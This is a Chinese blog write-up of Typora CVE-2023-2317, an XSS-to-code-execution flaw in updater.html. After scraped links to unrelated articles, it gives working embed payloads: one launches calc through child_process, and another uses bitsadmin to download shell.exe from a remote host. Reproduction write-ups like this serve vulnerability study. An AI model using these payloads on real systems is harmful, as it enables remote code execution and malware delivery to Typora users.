Typora远程代码执行漏洞 - CVE-2023-2317
Typora - CVE-2023-2317
简介
Typora一个常用的markdown编辑器,在1.6.7之前存在XSS漏洞,可以通过传入参数触发来加载恶意的JavaScript代码
分析
在typora的安装目录下的resource目录下,updater.html。
先用正则从URL中提取一些参数来更新内容,分别获得curVersion
, newVersion
,releaseNoteLink
,hideAutoUpdates
和labels
这五个参数的值.其中,releaseNoteLink和labels是经过URL编码的,所以需要用decodeURIComponent函数来解码。
接着用JSON.parse来将labels变量转化为数组,因为包含了文本标签所以就可以显示在网页上面。然后用选择器document.querySelector("#sum")
来找到id为sum
的元素,他的值由数组中第四个和第五个标签拼接起来的字符串替代
再用document.querySelectorAll("[data-label]")
找到并同时去遍历所有的data-label
属性的元素,值则为对应索引的标签
可以看到他直接使用了dom.innerHTML
进行修改,传参未经任何的转移过滤,就会有执行恶意js的可能。
利用
构造poc,原始如下:atob函数中的字符串先base64
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=["","","<svg/onload=top.eval(atob('reqnode('child_process').exec('calc')'))></svg>","","",""]">
然后因为这里只是编码参数,所以对labels=[]中的内容进行URL编码时要使用encodeURLCompoent
,否则不生效
将poc以html类型写入,保存之后每次加载这个文件就会触发计算器。
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%5B%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22%5D%22%3E]">
去尝试了一下用bitsadmin拉子下来上线,但寄了
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2JpdHNhZG1pbiAvdHJhbnNmZXIgdGVzdCBodHRwOi8vMTkyLjE2OC4xMzAuMTo1NTU1L3NoZWxsLmV4ZSBDOlxVc2Vyc1x3ZW5keVxEZXNrdG9wXDExMC5leGUnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22]">
版本测试
1.2.3 直接未响应,加载一会就回闪退
其他版本的测试就没有尝试了,有兴趣的这边请传送门
参考文章
Typora远程代码执行漏洞 - CVE-2023-2317的更多相关文章
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- MongoDB ‘conn’Mongo 对象远程代码执行漏洞
漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...
- Struts2再爆远程代码执行漏洞
Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- phpcms2008远程代码执行漏洞
phpcms2008远程代码执行漏洞 描述: 近日,互联网爆出PHPCMS2008代码注入漏洞(CVE-2018-19127).攻击者利用该漏洞,可在未授权的情况下实现对网站文件的写入.该漏洞危害程度 ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
- 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习
1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...
随机推荐
- Linux离线安装Mysql-5.7
1.背景描述 在真实业务场景下,Linux服务器一般位于内网,所以无法直接访问互联网资源: 特别是安装数据库的Linux服务器,在网络方面的管控只会更加严格: 因此,需要提前下载好相关资源,再传输到内 ...
- Vite+ts+springboot项目集成2
项目集成 集成element-plus 官网地址: 安装图标库 pnpm install element-plus @element-plus/icons-vue 入口文件main.ts全局安装ele ...
- MySQL系列3:缓冲池Buffer Pool的设计思想
1. 回顾 上一篇我们主要讲了InnoDB的存储引擎,其中主要的一个组件就是缓存池Buffer Pool,缓存了磁盘的真实数据,然后基于缓存做增删改查操作,同时配合了后续的redo log.刷磁盘等机 ...
- macbook-键盘连击问题002
https://support.apple.com/zh-cn/HT205662 如何清洁 MacBook 或 MacBook Pro 的键盘 如果您的 MacBook(2015 年及更新机型)或 M ...
- 03-11gR2单机通过RMAN恢复到RAC(未验证)
1.在单机上做一个完全备份,并将备份集拷贝到RAC的第一个节点上. 2.强行启动到nomount 3.恢复spfile 4.创建pfile,修改pfile,重建spfile #####修改contro ...
- es6(1)
1.var let const var---变量,重复定义不报错,没有块级作用域,不能限制修改 if(12>5){ var a=12; } alert(a); //弹出12 let---变量,重 ...
- Go 如何实现多态
在 Go 语言中,虽然没有经典的面向对象编程中的继承和多态的概念,但你可以通过接口(interface)来实现多态性.Go 语言鼓励组合和接口多态,这使得代码更加灵活和模块化.下面将详细介绍 Go 语 ...
- 2023 SHCTF-校外赛道 WEB WP
WEEK1 babyRCE <?php $rce = $_GET['rce']; if (isset($rce)) { if (!preg_match("/cat|more|less| ...
- tailwindcss 选型,以及vue配置使用
一.为什么选择tailwindcss? Tailwind CSS 是一个受欢迎的.功能丰富的CSS框架,它与传统的CSS框架(如Bootstrap)有些不同.以下是一些人们通常对于Tailwind C ...
- kali Linux安装pyenv
前言 pyenvpyenv 可让你轻松地在多个 Python 版本之间切换,是一个非常不错的python版本管理工具 安装步骤 安装依赖 apt-get install -y make build-e ...